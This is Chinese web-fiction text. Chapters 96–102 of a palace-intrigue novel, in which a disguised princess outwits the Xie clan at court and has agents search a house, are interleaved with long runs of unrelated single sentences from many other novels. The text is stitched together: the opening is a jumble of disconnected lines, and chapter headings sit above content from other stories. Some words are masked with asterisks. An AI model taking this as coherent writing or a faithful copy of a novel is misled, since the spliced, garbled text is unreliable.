只见李倩的胸口不知道什么时候已经被拉扯了下来,只需要仅仅再往下拉那么一丢丢,恐怕两只大白兔就要一跃而出,亮瞎林羽的眼。
哪怕对他可有可无,但他的远见也不错,很明白此时看似一般,后世是多么的稀少,积攒着总是没错的。
元始和通天开始怀疑了,老子被看的很尴尬,不过老子力抗镇元子,甚至压过镇元子是肯定的。
这一切只不过在电光火石之间,汪德臣还没有反应过来,就发现自己已经身在其中。
见天依的神态就猜得出来天依应该很想弹一曲,他怎么可能会拒绝呢?
不过就在这时候,林羽后面看了一下,突然一个右转弯,“轰隆隆”的一声,火瓶在左边处燃烧起来。
徐如水大喝一声,长剑在手,凝聚真元,朝袁玠攻去。只见空中落下三把紫金色的宝剑,往袁玠头顶劈了下去。
剩下的豆渣,嘉一准备用来喂牛,这个东西比起草来营养丰富多了,这头牛掉膘掉的厉害,要多补补。
至于那些树木为什么没有成精,这个季开就不清楚了,也许是这里的法则所限,植物类的不会有这个机遇吧,反正季开是没发现有这样的存在。
高官答应马上派人过去,季开挂掉电话,然后准备回城里的别墅。他可不想那么多人来这里,乡下太多不方便了,没必要弄得众人皆知。
掌峰因形似手掌而得名,是历代玉衡一脉掌脉真人的居住之地,而王逸之所以这个时候前往掌脉峰,完全是因为他刚出崇明岛不久就收到了掌脉真人明湖的传信。
诗词协会认证微博:经过本协会绝大多数诗人投票的结果,本协会将不会接受人品有问题的业余诗人加入。
第一卷 第96章 火船截杀下的金蝉脱壳
船队沿运河北上,一路顺畅。
新任杭州知府是寒门出身,对“稚川先生”颇有好感,特意派了官船护送。
杭州王家旁支的倒台的消息一经传开,沿途州县官员也都殷勤接待。
毕竟现这位“稚川先生”的亲信现在正在风头上,谁都不想得罪她。
但姜稚心中的弦,始终紧绷着。
平日里赤由督促朵朵提督看的那些军事理论以及战术,还有枯草的军事素养修习并没有白费力气,朵朵提督虽然一直叫苦不迭,但是依旧咬牙坚持了下来。
听到操场内惊天的呼喊声,慕紫芸喃喃自语,美丽的脸蛋上多了一些苦笑和无奈。
从一开始G2威廉一直都是单方面被妹纸们压着打,之后的动作反应基本上都能够提前判断出来,直到现在则是会时不时摸出一两招妹纸们猜不透的行为动作了。
杜宇瞪大了眼睛,他还不知道有这样的事情呢。听土袋子这么一说,他心中不由震撼,同时也对这个天命老人更是敬仰了。
看到自己实力全开,唐易还视若不见,反而还如同一个死神一般,直接宣判自己的死期,江道子顿时呵斥一声,正欲拿出自己的看家本领。
“还有事吗?没有事,我要进去带孩子呢!”接着,乔若水就想要转身回教室。
秘银岛镇守府自然是发展前景一片大好,但那并不代表现阶段的秘银岛镇守府就能有海量的资源拿去挥霍拿去烧。
好在这种局面并非无解,一旦他坚持不住了,就可以立即退出院子,然后利用三昧真火将体内残留的欲望之火吸收同化,就不会有事了。
唐易一脸不屑,伸手一挥,掌心之中,法力汹涌,化作一座剑阵,直接丢了下去。
实则,古枫救人,也不是谁都救,也要先探查一番,此人是否品性有问题,如果救了个蛇蝎之辈,还是自己倒霉。
“使者进来说吧!”他邀请使者进入火云洞,对于大秦神庭他还是十分好奇的。
“枪声怎么停了?”国崎登一脸惊讶的说道,刚才村外响起一阵枪声和爆炸声,显然是援军到了,但是这枪声仅仅只持续了十几分钟,便毫无征兆的停了下来,这让国崎登感到深深的不安。
话音一落,众人忍不住皱起了眉头,周围响起一片叹息声,如果能突围出去,谁都不愿意在这里等死。
骆清瑶眼看着宁霜影结结巴巴的样子心中好笑,而宁霜影则是更加尴尬直恨不得从地上找个缝儿钻进去。不过还好,这个时候宇流明自人丛当中缓步而出,顿时把骆清瑶的注意力吸引了过去。
“哈伊!”一名鬼子军官恭敬的应了一声,连忙转身去传达命令去了。
尽管中央之国的形成时间,远远长于米国,但最终,同样只是在大陆的最南端,触及到了热带的边缘。
一句话,能够放出来的,绝不藏着掖着,不能公之于众的,也不会自找麻烦。
“咩!”膳水羊又是一声哀嚎,原本将要落地的身体又是一次腾飞,身上隐隐有蓝色的水光萦绕。
虽然依旧不敢相信一位领主竟然会真的就这么在自己的眼前驾崩掉,不过白狼也知道现在的情况不妙,连忙转身撞开身边的卫兵,向大着门外跑去,他可什么都没做,这个害死精灵领主的黑锅他可绝对不背。
第一卷 第97章 “稚川”代言人高调回京
山林中久候的巽三一声令下,弩箭如雨倾泻。
与此同时,数条绳索从岸上抛出,套住小艇,猛力拉向岸边。
“有埋伏!”
黑衣人们惊呼,挥刀格挡箭矢。
但山影卫的弩箭太密,太准,转眼间,小艇上的人已经倒下了一半。
他看了一眼一脸平静的纳兰珩,前皇后死后,二皇兄过得多苦多艰难,父皇难道就不知道吗?
这般场景,也不怪他们会议论自己是不是失宠,萧羽音不由得苦笑,原来以前那般纵容自己胡闹,是真正发自内心里,对她的宠爱。
对任何职业球员来说,错过一次世界杯都是非常重大的悲剧,尤其是在世界杯前受伤,那更是要承受巨大的痛苦。
“纳兰珩,你放开。”走出了大殿,萧羽音察觉微微有些疼痛的手臂,对着纳兰珩道。
几个媒体记者完全不相信,采访区的其他记者们也交流起来,其中两个美国记者,并没有搞明白刚才沈洋说的什么,于是就向中国同行解释,双方一交流,美国记者就知道了。
叶梓凡的名号她还是听过的,可没想到竟是在那种情况下与他相识。
“你少在那里唬我,我可不是被你吓大的!”李云牧对眼前黑暗刺蛇的人依旧是没什么好感。
“你就是那个怪医?”洛清寒也是微微惊讶,他没有想到,这一次正好将他碰个正着。
“啧啧。”叶惟茗了一口茶,这茶还是一如既往的甘甜,只是仿佛送茶之人早已没有那么单纯。
对方颤抖了一下。眉头紧皱,然后忽然嘴角儿微笑,伸手拿起茶杯,掩饰着喝茶。
看着这些肆虐的毛虫,肆无忌惮地狂吃着所有庄稼作物、果树以及种植园,杨彬恨不得一条一条全部在脚底下踩死。当然了,只是想想而已,一脚一脚去踩的话,踩个稀巴烂,解气是解气了,问题还是解决不了。
“滚!!!别以为我不知道你们干什么得。趁我没有火,就给我滚远点儿。”李洛克吼道。将刚才受到的怒气吼出。
曹健听说了这件事之后,把曹涛劈头盖脸地大骂了一顿,交待曹涛这件事绝不能招认之后,他去找了县公安局被他一手提拔起来的雷军,说拿钱出来让他想办法摆平这件事情。
那么,再开出了艳名广布的庄晚秋这个美色诱惑,易军是否还能稳如泰山安如磐石呢?
耳光王突然指向我:“你,去干掉他。”语气轻松的像是指挥我去到扫一下卫生。
在这里也好歹住了四五天,对这里的环境虽然说不上熟悉一土一物,但是要找一个比较清静一点的地方还是可以的。
“那、那媚儿就答应了吧。”媚儿原本苍白的脸上,终于多了一丝红润。
孙漂云的手机不时地响起,是庆功宴现场戴宏飞在催她过去了,因为新一届市委领导班子要过来,洪老爷子也要过来,还是为当初招商局的事情。所以戴宏飞也回到了现场,不想让今天的事情搞砸。
随后,易军就把当天岛倭国那个山庄里,恭和亲王和织田利昭大宫司的对话录音,传输给了老吉米。
李纲不置可否,因为皇帝确实有把枢密使换成武将,吴熙就是最佳人选,但是童贯根生地固,很难拔起来的。
第一卷 第98章 谢管家,你的张三在哪里?
当夜,雍王府书房灯火通明。
姜稚伏案疾书,将杭州之行的完整报告誊写成奏折格式。
王彦想到明天高宠就到了,他也想见见这个能打败吴玠的只有十五岁的少年英雄是一个什么样的人。
这周家,来的较早,住的房子虽然也是泥墙草顶,但多次增建,十多间房子围成半圈,前面用树篱封成一个院子,李煜来过几次,直接进了院子。
但是现在萧岳他们不过才深入禁区了三百里,空气中的元力已经比萧门里面的还要多了,他们真不敢想象,禁区里面会是什么样子。
擂台之上,两人同时摆开了架势,张聚银右腿后撤一步,身子微侧,右拳紧握,正在灌注真气。
“木云,那是什么?是幻兽还是怪物?”看到黑点,赤炎兽略显激动有点语无伦次。白了它一眼,铁木云没有说话,继续朝上方飞去。
队员们刚刚抬头,便听到了一个声音,不自觉的扭头,却发现头顶上一个巨大的阴影,黑麒麟正威风凛凛的站在半空,口吐人言,俨然一副指挥官的摸样。
夫子不是说过了吗?以后只论军功,不论资历。现在我是不如你,可是汉王的天下不是还没打下来吗?这仅仅是刚开始而已,以后时间长着呢,不就是打仗吗?咱又不是没打过,只要不怕死,我就不信,我就立不了功。
但眼看着八楞紫金锏的表层开始大面积脱落,李天畴所布置的伞状大阵也开始松动,蛤蟆再也没办法犹豫下去,鼓起的巨大肚皮掀起一股滔天巨浪,呱的一声,蛤蟆已在原地消失不见。
一剑光影打的还算轻松,但是紫光一闪的防御可谓是滴水不漏。让一剑光影无从下手。所以俩人也奈何不了。而豪闯天下和紫色电光则是。
“那好吧,脱/衣/服这件事,咱们就采用记账的方式进行,谁输了就先记着,回去再执行惩罚,怎么样老公?”秦露露问道。
能够回的来,起码说明,这几百里地紧急通信,算是基本解决了。
神泣最大的魅力在于它的公平性,而最大的残酷也在于它的公平性。
原本还算热闹的华海城几乎是在一瞬间便是变得寂静无声起来,无数道目光都是无比震惊的看向天空中的那道身影,眼眸之中的震惊和骇然久久不曾散去。
还是以前那个江流吗?我的记忆流转了一下,苦涩的笑了起来,以前的那个我,我还能回得去吗?
东夷的持久作战能力逐渐体现出来,逐渐在气势与体力上占据了上风。
早上,古玉佩起床,梳洗完之后,习惯性的先看一看当天的娱乐新闻。
扎木合满意地点了点头,收起了脚转身坐回了狼皮椅子上,戏谑地望着札兰丁,等待着他接下来的“表演”。
“等等,我跟剑姬搞了这个泰坦就来!”一直被吊着的盲僧,看着残血的泰坦哪里舍得离开。
二话没说,林夜走到两人面前,不等花有情反应过来,便是直接掐住了她脖子,挺用力,但也不至于会一下把人掐死。
第99章 姜稚当众拆“谢”字招牌
皇宫,乾元殿内,姜稚还在对谢府管家步步紧逼。
“谢管家,你说你私吞银两雇佣刺客。那请问,你是通过谁联系的暗梅令?”
“据我所知,暗梅令是江湖上最隐秘的**组织,寻常人根本不知道如何联系。你一个深宅大院的管家,如何能接触到这种组织?”
“我…我…”谢能后背的冷汗已经浸湿衣衫。
“说不出来了?”姜稚转身,面向皇帝。
“陛下,草民以为,谢能一个小小的管家,绝无能力策划如此周密的刺杀,背后定有主谋。而这个主谋,必须同时满足几个条件。”
“第一,有能力调动谢府护卫腰牌,第二,要知晓草民的行程路线,第三,能联系到暗梅令这样的组织。最关键的,是要有足够的动机置草民于死地。”
她顿了顿,目光扫过谢太师:“而符合所有这些条件的,只有一个人。”
殿内瞬间鸦雀无声。
所有人都听明白了姜稚的言外之意。
“姜公子慎言!”一位谢家门生忍不住喝道,“无凭无据,岂可污蔑当朝太师!”
“谁说无凭无据?”姜稚从袖中取出一封信。
“这是从谢能通州住处搜出的密信,写信人让他事成之后立即南下,到江南与‘主家’汇合。而信末的落款印记——”
她将信展开,让所有人都能看到那个朱红色的私章图样。
那印记,与谢太师在奏折上用的私章,一模一样!
“这不可能!”谢太师失声道,“老臣从未写过这样的信!”
“太师当然不会亲自写。”姜稚收起信,“但这枚私章,除了太师本人,还有谁能动用?谢能吗?他一个管家,能拿到太师的私章?”
谢太师张了张嘴,却说不出话来。
私章确实是他书房之物,由心腹保管。
能拿到私章伪造书信的,只能是谢家核心成员,甚至…可能就是他的儿子或侄子。
这一刻,谢太师心中涌起一阵寒意。
他意识到,自己可能被家族中的某些人算计了。
那些人想借他的手除掉“稚川先生”,事成则好,事败则让他背锅。
“陛下,”谢太师重重磕头,“老臣确实不知此事!但管家谢能犯罪,老臣有失察之罪!请陛下责罚!”
这是以退为进。虽承认失察,但否认主谋。
皇帝沉默良久,缓缓开口:“谢太师年事已高,管家犯罪,确有失察之过。但念你三朝元老,多年来为大晟鞠躬尽瘁…那便罚俸一年,闭门思过三月。”
“谢能雇**人,罪证确凿,押入天牢,秋后问斩。谢府所有护卫,全部重新核查身份背景,有可疑者,一律革除。”
这个处罚,比谢太师预想的要轻得多。
他连忙叩首:“老臣谢陛下隆恩!”
但皇帝的话还没说完:“至于‘盐茶议’…谢太师既在思过期间,此事就由雍王牵头,户部、工部、礼部三部协同,重新拟定细则,务必公平公正。”
“儿臣遵旨!”姜肃出列领命。
谢太师心中一沉。
此事由雍王牵头,那“盐茶议”还能有谢家什么事?
但他不敢再争辩,只能再次叩首:“陛下圣明。”
一场风波,看似平息。
但姜稚知道,这只是暂时的平静。
谢家根基深厚,不会因为一次失败就倒下。
而今天她在朝堂上的表现,已经彻底得罪了这个世家的领头羊。
“姜川。”皇帝的声音将她拉回现实。
“你此次南下,为‘稚川先生’洗刷冤屈,擒获刺客,有功。朕赏你黄金千两,锦缎百匹。”
“另,替朕带句话给‘稚川先生’,他的忠心,朕知道了。让他好生经营自己的买卖,莫负朕恩。”
“草民代‘稚川先生’谢陛下隆恩!”姜稚跪地谢恩。
退朝后,姜稚走出乾元殿。
阳光刺眼,她眯了眯眼睛,然后朝着自己的马车走去。
马车内,姜肃已经避开其他人的眼线,在内等候多时。
“稚儿,”姜肃低声道,“今日之事,你做得很好。但谢家不会善罢甘休,接下来要更加小心。”
“女儿明白。”姜稚点头,“父亲,谢家内部…”
“今日一看,谢太师可能确实不知情。”姜肃沉吟
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,“但谢家其他人就不一定了。”
“谢太师有二子三侄,都在朝中或地方任职。尤其是他的长子谢朗,任吏部侍郎,野心不小。今日之事,恐怕与他脱不了干系。”
吏部侍郎…掌管官员升迁任免,权力极大,王珣经过之前一事,圣心大减,确实是其他人出头的机会。
“女儿会注意的。”姜稚顿了顿,“父亲,十三皇叔何时抵京?”
“三日后。”姜肃眼中闪过笑意,“寒川这次立下不世之功,陛下已下旨,待他抵京,要亲自出城迎接。到时候,你也去。”
他压低声音:“寒川在战报中特意提了你。他说,在北疆听到杭州之事,很是担心。如今你平安返京,他也就放心了。”
姜稚心头微暖,点了点头。
回到雍王府,姜稚第一件事就是换回女装。
镜中,那个在朝堂上侃侃而谈的“姜川”消失了,取而代之的是身着鹅黄襦裙、眉眼精致的安宁公主。
但眼神,已经不一样了。
“公主,”秋露一边为她梳头,一边兴奋地说,“您今天在朝堂上的事,府里都传遍了!大家都说姜川公子厉害得很,把谢太师都驳得哑口无言!”
“秋露,慎言!”惊蛰提醒,“这些话不要在外头说。”
“我知道啦。”秋露吐吐舌头,“就在咱们院里说说嘛。”
姜稚看着镜中的自己,忽然问道:“惊蛰,你说,我今日是不是太锋芒毕露了?”
“公主何出此言?”惊蛰不解。
“谢家毕竟是三朝世家,树大根深。我今天当众撕破脸,往后的路可能会更难。”
惊蛰沉默片刻,认真道:“公主,奴婢不懂朝堂大事。但奴婢知道,有些人,你退一步,他就会进十步。”
“谢家既然已经对您下**,您若不反击,他们只会变本加厉。今日之事,是自保,也是立威。让所有人都知道,‘稚川先生’不是任人拿捏的软柿子。”
姜稚笑了:“你说得对。”
她起身,走到窗前。
庭院中,那株老梅已经谢了,但新芽初绽,嫩绿可人。
春天真的来了。
第100章 朝堂舌战,秒变大型打脸现场
回到雍王府不久,巽三便带来了坏消息。
“公子,刑部大牢出事了。”巽三神色凝重,“昨夜押进去的那些刺客,今晨发现**六个。狱卒说是‘突发急病’,但属下查看过尸体,是**身亡。”
“毒从哪来?”
“还在查。”巽三咬牙,“但能在大牢里下毒,刑部内部肯定有内鬼。”
姜稚脸色彻底沉了下来。
谢家这是要**灭口,切断线索。
“剩下的刺客呢?”
“已秘密转移,由山影卫看管。”巽三道,“但口供的价值已经大打折扣。”
好手段!
姜稚不得不佩服谢允的老辣。
用几条人命,就化解了最直接的危机。
“还有,”巽三继续禀报,“谢家近日定会开始反击,不过在此之前,我们先送他们一份‘大礼’。”
“公主的意思是?”
“谢家在江南的那些产业,咱们不是正在清查吗?”姜稚眼中闪过锐光。
“把查到的证据整理好,特别是****、以次充好、贿赂官员的部分,匿名送到几位刚正不阿的御史手中。”
“记住,要‘不经意’地让他们知道,这些证据来自江南官员的‘主动举报’。”
巽三眼睛一亮:“属下明白。”
“另外,”姜稚补充,“冷宫和宗人府那边,加派人手监视。我要知道,谢允许昨晚见的到底是什么人。”
“是!”
巽三领命退下。
……
二月中旬,京城春寒未褪,朝堂暗流却已汹涌如潮。
正如姜稚所料,谢家的反击来得迅猛而毒辣。
短短三日,**雍王府与“稚川先生”勾结敛财、打压异己的奏疏便如雪片般飞向皇帝的案头。
更有甚者,几位谢家门生的御史直接在朝会上发难,矛头直指姜肃。
“陛下!臣**雍王以权谋私,借‘盐茶议’之名行垄断之实!”御史中丞谢琮率先发难。
“据臣所知,稚川商行近三月来已收购江南七处盐场,分明是要独霸盐利!”
“臣附议!”另一御史出列。
“‘稚川先生’虽号称捐资治河,然其所获盐引之数,已远超其他商贾数倍!此等行径,与**结何异?”
“还有杭州案!”第三个御史声音尖厉。
“臣听闻,那所谓的‘栽赃证据’,实为雍王府自导自演,目的便是铲除太原王氏,为稚川商行扫清障碍!”
乾元殿内,气氛凝重如铁。
姜肃立于殿中,面色平静,任由那些御史言辞激烈地攻击。
待他们说完,他才缓缓出列,躬身行礼:“陛下,臣有话要说。”
皇帝姜桓揉了揉眉心:“讲。”
“诸位大人所言,有三处谬误。”姜肃声音沉稳,不疾不徐。
“其一,稚川商行收购盐场,皆在‘盐引制’颁布之后,按律法程序竞标所得,账目清晰可查。何来‘以权谋私’?”
他顿了顿,从袖中取出一本账册,双手奉上。
“这是商行近三月所有盐场交易的明细,臣已命人抄录三份,一份呈交陛下,一份送交户部,一份公示于市。若有一文钱与儿臣有关,儿臣甘愿领罪。”
赵德全上前接过账册,奉与皇帝。
姜桓翻开看了几眼,微微颔首。
“其二,”姜肃继续道,“‘稚川先生’所得盐引虽多,然其所捐治河款项,已逾二百万两白银。”
“敢问诸位大人,朝中哪位商贾有如此魄力?”
“若捐资为民是‘**结’,那儿臣倒希望这样的‘勾结’多些才好。”
这话说得巧妙,殿中不少官员暗自点头。
黄河水患年年有,朝廷年年拨款,却年年不够用,“稚川先生”当初那笔巨款,确实是解了燃眉之急。
“至于其三…杭州案中,王家倒卖贡品、**官员、雇凶**的人证物证俱在,刑部已审结定案。王珣大人如今还在府中‘养病’。”
姜肃目光扫过那几名御史,忽然笑了。
“几位大人却说是‘自导自演’,莫非是要为杭州知府**远翻案?”
那几名御史脸色一白,连声道:“臣等绝无此意!”
“既无此意,为何在此大放厥词?”姜肃声音陡然提高。
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“杭州案乃陛下钦定要案,证据确凿,铁案如山!尔等今日之言,置陛下圣断于何地?置国法纲纪于何地?!”
一连三问,气势如虹。
那几个御史被问得哑口无言,冷汗涔涔而下。
他们这才意识到,自己已踩到了皇帝最敏感的神经——
皇权尊严!
果然,龙椅上的姜桓脸色沉了下来:“谢琮,你等可有真凭实据?”
“臣…臣…”谢琮跪倒在地,“臣也是听人传言。”
“听人传言就敢在朝堂上**亲王?”姜桓冷笑,“朕看你是这个御史当得太清闲了。”
“赵德全,传旨!即日起,免去谢琮御史中丞之职,贬为七品编修。让他去翰林院好好读书,学学什么叫‘言之有据’!”
“陛下开恩!”谢琮瘫软在地。
“至于你们几个,”姜桓扫过其他御史,“各罚俸半年,闭门思过一月。再有下次,革职查办!”
“臣谢陛下隆恩。”剩下几人面如死灰,叩首谢恩。
一场风波,看似被姜肃轻易化解,但他心中清楚,这仅仅是谢家反击的第一波,真正的杀招,还在后面。
……
雍王府,听雨轩。
姜稚正伏案查阅山影卫送来的密报。
惊蛰侍立一旁,秋露则在外间守着。
“公主,谢家的动作比我们预想的要快。”惊蛰低声道。
“今日朝会刚散,谢太师长子谢朗便秘密拜访了兵部尚书孙元培。两人在书房密谈半个时辰,随后孙尚书便进宫求见陛下。”
姜稚放下密报,眼神微凝:“为了军粮案?”
“应是。”惊蛰点头,“山影卫那边传来消息,北疆押送军粮的押运官已在来京途中,预计五日后抵京。”
“此人名叫刘大勇,是北疆军的一个校尉。据说,他会指认龙渊军内部有人监守自盗。”
“监守自盗?”姜稚冷笑,“三万石粮食,要从军营里运走而不被发现,至少需要一位将军级别的内应。谢家这是要把脏水直接泼到十三皇叔头上。”
她走到窗前,看着庭院中渐绿的柳枝,陷入沉思。
第101章 五百两银票编号追凶
雍王府,听雨轩内。
姜稚仍陷在沉思中。
目前,军粮案的关键在于证据。
如果那个刘大勇真的做了伪证,指认姜寒川的亲信甚至姜寒川本人参与盗粮,那事情就麻烦了。
即便最后能查清真相,也会给姜寒川的凯旋蒙上阴影。
必须在此之前,找到破绽。
“刘大勇的底细查清了吗?”姜稚转身问道。
“正在查。”惊蛰道,“此人原是北疆边军,三年前因作战勇猛被调入龙渊军,任粮草押运校尉。家中有一老母,两个幼子。妻子早逝。”
“家人现在何处?”
“都在北疆云州老家。”
姜稚眼睛一亮:“派人去云州,查他老母和孩子的近况。另外,查他最近半年与京城的所有书信往来,特别是银钱往来。”
“公主怀疑他被收买了?”
“三万石粮食被劫,押运官却活着回京作证,这本就可疑。”姜稚分析道,“若他真是被收买,要么为钱,要么为家人安危。从这两条线查,必有收获。”
“是!”惊蛰领命,正要退下,忽然想起什么,“对了公主,还有一事。冷宫那边,昨晚有人夜探。”
姜稚眼神一凛:“谁?”
“身份不明,但轻功极好,侍卫都没发现。是咱们安排在冷宫附近的暗哨察觉的。”惊蛰道。
“那人只在窦贵人窗外停留片刻,扔进去一个小纸团便离开了。”
“纸团内容虽不知详情,但今早窦贵人的宫女便以‘取冬衣’为由出了冷宫,在御花园与一个扫地太监接触过。”
“扫地太监…”姜稚若有所思起来。
“查那个太监的底细。还有,继续盯紧冷宫,下次再有人来,务必擒住。”
“是!”
惊蛰退下后,姜稚重新坐回书案前。
皇宫大内,能自由活动的太监不少,但能在御花园这种地方与人接头的,必定是有人脉的。
而太监的人脉,往往与各宫主子有关。
窦贵人虽然失势,但她在宫中经营多年,不可能没有残余势力。
那个扫地太监,说不定就是她早年安插的眼线。
如果是这样,那窦贵人在后宫的势力,可能比想象中更深。
正思索间,秋露轻手轻脚进来:“公主,王爷让您去书房一趟,说是有要事相商。”
姜稚回过神来,应声道:“知道了。”
书房内,姜肃正在查看一封密信,见女儿进来,便将信递给她:“寒川来的。”
姜稚接过,快速浏览。
信是姜寒川的亲笔,字迹刚劲有力,内容简洁明了:
“北疆军粮案已查清眉目。押运官刘大勇月前曾收到京城汇来的五百两银票,汇票来自‘通源钱庄’。”
“其母上月‘病重’,被神秘医者治愈,医者分文未取。其家人疑被人要挟。吾已派人暗中保护。”
“另,军中确有内鬼,职位不低,正在排查。三日后抵京,一切面谈。”
姜稚看完,心中稍定:“幸好十三皇叔已有所防备。”
“但还不够。”姜肃神色凝重。
“必须在刘大勇抵京之前,拿到他被人收买的铁证。”姜肃沉声道,“通源钱庄那边,为父已让人去查了。但钱庄有规矩,不会轻易透露**。除非…”
“除非有皇祖父的手谕!”姜稚接道。
姜肃点头:“但陛下不会轻易下这样的手谕。毕竟现在所有证据都还只是推测。”
姜稚沉思片刻,忽然道:“父亲,如果,我们换个思路呢?”
“怎么说?”
“不查钱庄,查银子本身。”姜稚眼中闪过精光。
“五百两不是小数目,银票必有编号。如果能拿到那张银票的编号,再查这个编号的银票是何时从哪个钱庄流出的,流向何处,或许能追到源头。”
姜肃眼睛一亮:“有道理!但银票在刘大勇手中,我们如何得知编号?”
“刘大勇的家人不是在云州吗?”姜稚微笑。
“他母亲‘病重’被神秘医者治愈,这医者既然分文未取,那银票必然还在他家人手中。若是我们能从他家人口中探得一
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二…”
“为父这就传令北疆的人去查!”姜肃精神一振。
“还有,”姜稚补充,“既然十三皇叔已派人保护刘大勇的家人,那不妨让保护的人‘无意中’透露一个消息——”
”就说刘大勇做林错事,京城有人要杀刘大勇灭口,让他母亲劝儿子回头是岸。”
“攻心之计?”姜肃会意。
“不错。”姜稚点头,“刘大勇若真是被胁迫,心中必有怨惧。此时若知对方要灭口,而十三皇叔愿意保他家人平安,他说不定会反水。”
“好一个‘攻心为上’。”姜肃笑了,“就按你说的办。”
父女二人又商议了一些细节,直到暮色渐沉。
离开书房时,姜稚忽然想起一事:“父亲,后日十三皇叔凯旋,女儿该以何种身份出席?”
姜肃沉吟道:“陛下已下旨,凡三品以上官员及宗室子弟,皆可至城门迎接。你是安宁公主,自然该去。不过…”
他顿了顿:“寒川这次立下不世之功,朝中想拉拢他的人不少。你出席时,难免会有人拿你们的关系做文章。特别是谢家,定会借机生事。”
“女儿明白。”姜稚点头,“我会谨言慎行。”
“也不必太过拘谨。”姜肃忽然笑了,“寒川在信中特意问起你,说给你带了北疆的礼物。你们叔侄情深,旁人要说,便让他们说去。”
姜稚心头微暖,应了一声,退出书房。
回到听竹轩时,天色已完全暗了下来。
庭院中挂了灯笼,昏黄的光晕在春风中摇曳。
姜稚没有立即进屋,而是站在廊下,望着夜空出神。
后日,那个在北疆浴血奋战的十三皇叔就要回来了。
她想起古寺惊魂那日,他飞身救她时凌厉的眉眼;想起百花宴上,他让陈凛来解救他的细心;想起这段时间,他虽远在北疆,却时时关注她的安危…
这是姜稚在这个世界中,除了父母之外,第三个让她感受到温情的人,她分外珍惜。
所以,她决不允许有人伤害她在意的人!
第102章 梨花巷里全是“瓜”
听竹轩内,姜稚正思索间,惊蛰悄然来到身边。
“公主,查到了。”
姜稚收回心神:“哪个?”
“御花园里那个洒扫太监。”惊蛰低声道。
“他叫小顺子,入宫八年,原在浣衣局当差,三年前调来御花园。奴婢查了他的底细,发现他有个表哥,在谢府外院当采买。”
谢府!
姜稚眼神一凛:“竟然又有谢府的手笔。”
“还有,”惊蛰继续道,“小顺子每月十五都会出宫‘探亲’,但实际上去的是一处城西的私宅。那私宅的主人,是谢朗的一个外室。”
既如此,那就说得通了。
极有可能是窦贵人见王家已经靠不住,便通过小顺子与谢朗取得联系,然后做通谢朗这条线,让他利用朝中势力对付雍王府和姜寒川。
而军粮案,很可能就是他们联手策划的第一步棋。
窦贵妃不亏是浸淫权力多年,不仅拉太原王家下水,就连谢家也没有放过。
但这背后,有多少是太子的手笔,那就不得而知了。
“私宅地址记下了吗?”姜稚问。
“记下了。在城西梨花巷,第三户。”
“好。”姜稚深吸一口气,“后日十三皇叔凯旋,谢家定会在军粮案上做文章。我们必须在此之前,拿到他们勾结的证据。”
“公主打算怎么做?”
姜稚没有立即回答,而是转身进屋,从妆匣底层取出稚川令牌。
“惊蛰,”她将令牌递给惊蛰,“传令在京的山影卫暗卫,今晚子时,带一队去梨花巷那处私宅。”
“务必探清谢朗与外室往来的所有书信,若是发现有涉及军粮案和窦贵人的部分,就全部带回。”
惊蛰接过令牌,迟疑道:“公主,私闯民宅,若是被抓住…”
“山影卫暗卫擅长潜伏暗查,我相信他们的能力。记住,只要书信证据,不要伤人,更也不要打草惊蛇。”姜稚小心叮嘱道。
“是!”惊蛰不再犹豫,领命而去。
姜稚独自站在屋内,心跳微微加速。
这是她第一次主动动用山影卫去做这样危险的事。
但形势逼人,她没有退路。
谢家、窦贵人、还有那些藏在暗处的敌人,就像一张不断收紧的网。
她必须在这张网彻底收紧之前,撕开一个口子。
而明日的凯旋大典,就是关键一战。
她走到铜镜前,看着镜中那张逐渐褪去稚嫩的脸。
“姜稚,”她轻声对自己说,“这一局,你必须赢。”
窗外,春风拂过树梢,发出沙沙声响,仿佛在回应她的决心。
......
二月十八,黄道吉日。
京城朱雀大街自黎明开始,已是人声鼎沸。
百姓携老扶幼,翘首以盼,都争相想要一睹十三皇子凯旋的风采。
街道两侧旌旗招展,禁军沿街肃立,维持秩序。
辰时三刻,礼炮九响,鼓乐齐鸣。
姜稚站在观礼台上,身着一袭淡紫宫装,外罩银狐斗篷,发间只簪一支碧玉步摇,简洁而不失庄重。
她的位置极好,能将整条朱雀大街尽收眼底。
“来了来了!”秋露兴奋地低呼。
远处,一队黑甲骑兵缓缓行来。
为首者身骑乌骓马,身着玄甲黑袍,肩披猩红斗篷。
那人正是姜寒川。
几个月未见,他比记忆中更加挺拔威严。
北疆的风霜在他脸上刻下坚毅的轮廓,眉宇间那股杀伐之气即便隔着数十丈距离也能感受到。
但当他目光扫过街道两旁欢呼的百姓时,眼中又透出难得的温和。
姜稚静静看着,心中涌起复杂的情绪。
【不愧是大晟的战神,北疆的守护者。真真当得起,“郎艳独绝,世无其二”这八个字!】
姜稚这念头,在心中一闪而过。
与此同时,正骑马缓行的姜寒川忽然心神微动,耳边似乎又响起那个熟悉的声音。
他目光下意识地扫向观礼台,精准地捕捉到了那个淡紫色的身影。
四目相对的瞬间,姜稚心头一跳,微微颔首致意。
姜寒川唇角微不可察地扬了扬,随即收回目光,继续前行。
“公主,十三殿下看到您了!”秋露小声说。
“嗯。”姜稚应了一声,目光却落在姜寒
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川身后的队伍上。
龙渊军的将士们个个盔甲鲜明,虽经长途跋涉,但仍军容整肃。
队伍中押解着数十辆囚车,里面是被俘的匈奴贵族。
而队伍后方那面巨大的黑底金边帅旗上,书写了一个遒劲的“萧”字。
“寒川这次立下的功劳,足够封王了,说不定会重新继承他父亲的名号。”姜稚身边忽然传来姜肃的声音。
姜稚转头,见父亲不知何时已来到观礼台。
他今日身着亲王常服,神色肃穆。
“爹爹,”姜稚低声问,“刘大勇那边…”
“已经安排好了。”姜肃声音压得很低。
“昨夜北疆传来消息,刘大勇的母亲收到‘京城有人要灭口’的消息后,当场昏厥。醒来后,她让保护她的人带话给儿子:若还有半点良心,就说真话。”
“有用吗?”
“不知道。”姜肃摇头,“人心难测。不过寒川那边也做了准备,他在军中查到了一个可疑的人,此人是龙渊军副将周猛。”
“周猛?”姜稚觉得这个名字有些耳熟。
“原是窦贵妃兄长窦宏的部下,三年前窦宏调任兵部,周猛就留在了北疆。”
姜肃冷笑,“此人贪财好色,与谢朗有过来往。寒川怀疑,军粮案就是他配合谢家做的局。”
姜稚心中了然。
如果周猛真是内鬼,那谢家想要在军粮案上做文章就更容易了。
一个副将的证词,分量不轻。
“爹爹,那梨花巷那边如何?”姜稚低声追问。
姜肃眼中闪过势在必得:“巽三得手了!”
